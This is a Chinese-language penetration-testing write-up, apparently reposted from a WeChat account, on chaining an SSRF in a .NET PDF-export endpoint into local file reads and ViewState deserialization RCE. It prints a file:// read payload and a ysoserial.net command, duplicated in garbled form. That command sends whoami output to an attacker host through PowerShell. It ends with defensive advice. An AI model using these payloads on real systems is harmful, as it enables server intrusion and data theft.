在 Web 应用程序安全领域，服务器端请求伪造 (SSRF) 漏洞有时会打开潘多拉魔盒，在适当条件下导致远程代码执行 (RCE)。这是我如何探索 SSRF 漏洞并将其升级为 .NET Web 应用程序中的 RCE 的故事。
意外的发现
一切都始于一个看似无害的端点—— ConvertToPDF.aspx。这个端点的目的很简单：它允许将系统报告转换为 PDF 格式。我以为这只是一个常规功能，也许用于导出报告。但随着我开始深入挖掘，该应用程序揭示了比它本意更多的内容。
在这个应用程序中，用户将提供一个 URL 来获取数据（类似于http://example.com/userinfo），然后此 URL 将被发送到后端 DLL 进行处理以生成 PDF 文件。通常，我不会想太多，但如果应用程序没有正确验证 URL 输入怎么办？如果我可以将此 URL 更改为意想不到的内容怎么办？
初始漏洞：SSRF 实际操作
好奇心占了上风。如果我将 URL 替换为 会怎么样http://evil.com？令我惊讶的是，系统使用 evil.com 的内容生成了 PDF — — 这完全出乎意料。该应用程序没有验证或清理输入的 URL，这为进一步探索打开了大门。
不过，这不仅仅是获取任意内容。我开始思考如何进一步利用这一点。我的第一个尝试是一个简单的 JavaScript 有效负载来读取文件，但它没有按预期工作。经过进一步调查，我发现该应用程序将 URL 数据保存为.html文件，然后用于生成 PDF。当我使用时，发现了这种行为document.write = document.domain，它显示了页面源代码中的路径file://somepath/data.html。这个线索暗示应用程序在将数据转换为 PDF 之前在内部以某种格式存储数据.html。
关键的发现是，该应用程序正在使用浏览器导航到file://URL 的功能。当操纵 URL 以使用该file://方案时，浏览器会尝试直接从服务器的文件系统获取本地文件。这背后的原因很简单：浏览器旨在将file://URL 解释为访问本地文件而不是远程 Web 资源的请求，从而绕过了 Web 请求的常规安全检查。
这是我使用的有效载荷：
<html><script> window.location='file:///C:/Windows/System32/drivers/etc/hosts'</script></html>
轰！文件内容hosts以 PDF 格式返回。这证实了可以利用 SSRF 漏洞读取本地文件。发生这种情况的原因是应用程序没有过滤或清理用户提供的 URL，因此容易受到文件读取攻击。
然而，这只是旅程的开始。一旦我可以访问服务器上的文件，它就会打开更严重的漏洞利用的大门——远程代码执行 (RCE)，但这是这次发现的另一个篇章。
更深层次的思考：如何升级至 RCE？
此时，读取文件很有趣，但这不是最终目标。真正的挑战是将此漏洞升级为远程代码执行 (RCE)。由于该应用程序是使用 .NET 构建的，因此我考虑了 .NET 应用程序中的常见攻击媒介 — 其中最强大的攻击媒介之一是不安全的反序列化。
这个想法很简单：如果应用程序在未进行适当验证的情况下反序列化用户控制的数据，则可能允许任意代码执行。但是，要利用这一点，我需要用于ViewState 的加密和验证密钥。
什么是 ViewState 以及它为何重要？
ViewState是ASP.NET Web 表单中的一种机制，用于在回发期间（即当用户提交表单，页面重新加载时）维护网页的状态。它是 HTML 表单中的一个隐藏字段( __VIEWSTATE)，用于存储有关页面控件及其状态的编码数据。
由于 ViewState 包含敏感数据，ASP.NET使用文件中存储的验证和解密密钥对其进行签名和加密。这些密钥可防止攻击者修改 ViewState 并注入恶意数据。web.config
然而，如果攻击者可以检索这些密钥，他们就可以生成并签署自己的恶意 ViewState，应用程序将信任并反序列化该 ViewState 。这就是不安全的反序列化成为攻击媒介的地方——允许在服务器上执行任意命令。
现在，下一步很清楚：我需要找到隐藏在应用程序配置中的加密密钥。
查找 Web.config 文件
在继续攻击之前，我需要访问应用程序使用的加密密钥。这些密钥通常存储在web.config文件中，这是 .NET 应用程序中的关键配置文件，其中包含敏感信息，例如连接字符串、机器密钥和加密参数。
但是，web.config 文件不在默认位置。该应用程序的不同组件分布在多个目录中，因此很难找到它。为了找到它，我强行破解了不同的路径，最终找到了它的位置。一旦我获得了该文件的访问权限，我就提取了验证和解密密钥，这是生成有效 ViewState 有效负载所必需的。
利用不安全的反序列化：RCE
拿到所需的密钥后，我便准备升级攻击。如果可能进行不安全的反序列化， ASP.NET ViewState 可能是一个危险的攻击面。默认情况下，ViewState 经过加密和签名以防止篡改，但如果攻击者能够获得加密密钥，他们就可以生成在服务器上执行命令的恶意 ViewState 负载。
为什么ysoserial.net有效？
ysoserial.net是一种生成序列化有效载荷的工具，用于利用 .NET 应用程序中不安全的反序列化。它会创建一个包含任意命令的序列化对象，这些命令会在应用程序反序列化操纵的 ViewState 数据时执行。
通过利用ysoserial.net，我制作了一个 ViewState 有效负载，该有效负载执行 PowerShell 命令来窃取服务器信息。这是我使用的命令：
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe -Command "$w=(whoami); Invoke-WebRequest -Uri http://<attackerdomain>/aaaa?data=$w -UseBasicParsing"" --path="<path>.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="<decrypt-key>" --validationalg="SHA1" --validationkey="<key>""powershell.exe -Command "$w=(whoami); Invoke-WebRequest -Uri http://<attackerdomain>/aaaa?data=$w -UseBasicParsing"" --path="<path>.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="<decrypt-key>" --validationalg="SHA1" --validationkey="<key>"-p ViewState：指定我们正在生成 ViewState 有效负载。
-g TextFormattingRunProperties：使用允许在 .NET 应用程序中执行代码的小工具链。-c "powershell.exe ..."：执行 PowerShell 命令将服务器的whoami输出发送到外部服务器。--decryptionalg="AES"和--decryptionkey="<decrypt-key>"：确保使用提取的密钥正确加密有效载荷。--validationalg="SHA1"和--validationkey="<key>"：确保有效载荷被正确签名，以便应用程序接受它。
--path关于参数的重要说明
参数--path指定了ViewState 的求值位置。这很关键，因为漏洞只有在以下情况下才会起作用：
- 目标页面上启用了 ViewState
.aspx。 - 有效负载被注入到处理 ViewState 的同一请求中。
例如，如果在搜索函数_VIEWSTATE中评估参数，并且端点是，则：/search.aspx
- 有效载荷生成
--path中的应该是/search.aspx。 - 生成的payload必须注入到同一个端点
_VIEWSTATE的参数中（/search.aspx）。
无法匹配正确的端点将使有效载荷无效，从而阻止执行。
一旦恶意 ViewState 被注入到易受攻击的端点，应用程序就会反序列化并执行 PowerShell 命令，从而确认远程代码执行。
这次攻击展示了如何将简单的SSRF 漏洞与不安全的反序列化结合起来，危害整个应用程序，从而导致整个服务器被接管。
结论
通过结合使用 SSRF、文件读取和不安全的反序列化，我能够将一个简单的漏洞升级为完整的远程代码执行。这种类型的攻击表明安全漏洞之间的关联性：以 SSRF 开始的攻击可能很快导致 LFI，并且在适当的条件下，它可以升级为完整的 RCE 场景。
这次练习的关键要点是：
- 始终验证输入：正确的 URL 验证可以防止 SSRF 攻击，从而防止更严重的后果。
- 不安全的反序列化是一个巨大的风险：如果应用程序反序列化不受信任的数据，攻击者可以使用它来执行任意代码。
- 永远不要低估看似无害的端点的影响：如果没有安全实施，即使是简单的文件转换功能也可能打开严重漏洞的大门。
通过应用适当的安全措施，例如 URL 白名单、输入验证和安全反序列化，可以减轻此类攻击并最大限度地减少攻击面。
原文始发于微信公众号（安全狗的自我修养）：SSRF 如何在 .NET 应用程序中导致 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论